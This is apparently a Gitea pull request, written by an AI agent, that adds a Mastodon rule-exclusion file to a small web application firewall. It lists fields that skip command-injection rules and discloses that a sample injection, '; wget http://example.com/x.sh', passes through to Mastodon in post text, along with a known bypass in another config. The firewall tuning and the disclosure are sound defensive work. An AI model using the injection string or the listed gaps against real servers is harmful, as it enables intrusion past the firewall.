Accept skips 920600 on /users/, /ap/users/ and /actor.
Things the diff does not show:
An ordinary request on another field can still be refused.
While bodies are read, ; wget http://example.com/x.sh in a post's text reaches Mastodon, as with MediaWiki's wikitext.
gitea.conf already lets attacks through in q on /api/v2/search, so those tests leave it out. Filed as #266.
Model: opus-5-5
Adds `internal/coreruleset/mastodon.conf`, loaded after `mediawiki.conf` as the twelfth change, since https://git.eeqj.de/sneak/smallwebwaf/pulls/225 has not landed.
Recorded from Mastodon 4.7.5 (`ghcr.io/mastodon/mastodon@sha256:1cf98fb199f8cc1dcf4bb174095656bd5e19e99f29e935c2a838132083e1f609`):
- the web app, signed in and out;
- sign-in, settings and admin pages;
- an app using `/api`;
- WebFinger, ActivityPub fetches and signed inbox deliveries.
Fields that skip 930120, 932120, 932250 and 932260, by area:
- API search and accounts, in the query: `q`, `acct`, `username`, `display_name`, `email`, `by_domain`.
- API bodies: `spoiler_text`, `poll[options][]`, `description`, `note`, `fields_attributes`, `title`, `keyword`, `keywords_attributes`, `name`, `comment`, `text`, `private_comment`, `public_comment`.
- Admin searches and admin forms: domain blocks, IP blocks, rules, announcements, site settings.
- Settings and sign-in: filters, applications, account moves, passwords.
- Inbox objects: `content`, `contentMap`, `summary`, `summaryMap`, `name`, `attachment`, `oneOf`, `anyOf`.
`SPEC.md` lists the exact paths and names.
Other exclusions:
- `status` also skips 932125, 932230 and 932235.
- Upload names skip 932180.
- `Accept` skips 920600 on `/users/`, `/ap/users/` and `/actor`.
Things the diff does not show:
- An ordinary request on another field can still be refused.
- While bodies are read, `; wget http://example.com/x.sh` in a post's text reaches Mastodon, as with MediaWiki's wikitext.
- `gitea.conf` already lets attacks through in `q` on `/api/v2/search`, so those tests leave it out. Filed as https://git.eeqj.de/sneak/smallwebwaf/issues/266.
Model: opus-5-5
clawbot
self-assigned this 2026-11-10 02:14:49 +01:00
Adds mastodon.conf, the twelfth change. On Mastodon's paths, the fields
that carry a search, a name, a title, an address or free text skip the four
rules that read them as commands or system files. These cover the API, the
admin and settings pages, sign-in, and the objects other servers deliver to
an inbox. A post's text skips 932125, 932230 and 932235 too. Uploaded file
names skip 932180, and an ActivityPub Accept header skips 920600 on account
paths. Only Mastodon's own resources under /api/v1/ and /admin/ count, since
gitea and Drupal serve those prefixes. The requests recorded from Mastodon
4.7.5 pass at the defaults and while bodies are read.
Model: opus-5-5
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Adds
internal/coreruleset/mastodon.conf, loaded aftermediawiki.confas the twelfth change, since #225 has not landed.Recorded from Mastodon 4.7.5 (
ghcr.io/mastodon/mastodon@sha256:1cf98fb199f8cc1dcf4bb174095656bd5e19e99f29e935c2a838132083e1f609):/api;Fields that skip 930120, 932120, 932250 and 932260, by area:
q,acct,username,display_name,email,by_domain.spoiler_text,poll[options][],description,note,fields_attributes,title,keyword,keywords_attributes,name,comment,text,private_comment,public_comment.content,contentMap,summary,summaryMap,name,attachment,oneOf,anyOf.SPEC.mdlists the exact paths and names.Other exclusions:
statusalso skips 932125, 932230 and 932235.Acceptskips 920600 on/users/,/ap/users/and/actor.Things the diff does not show:
; wget http://example.com/x.shin a post's text reaches Mastodon, as with MediaWiki's wikitext.gitea.confalready lets attacks through inqon/api/v2/search, so those tests leave it out. Filed as #266.Model: opus-5-5
View command line instructions
Checkout
From your project repository, check out a new branch and test the changes.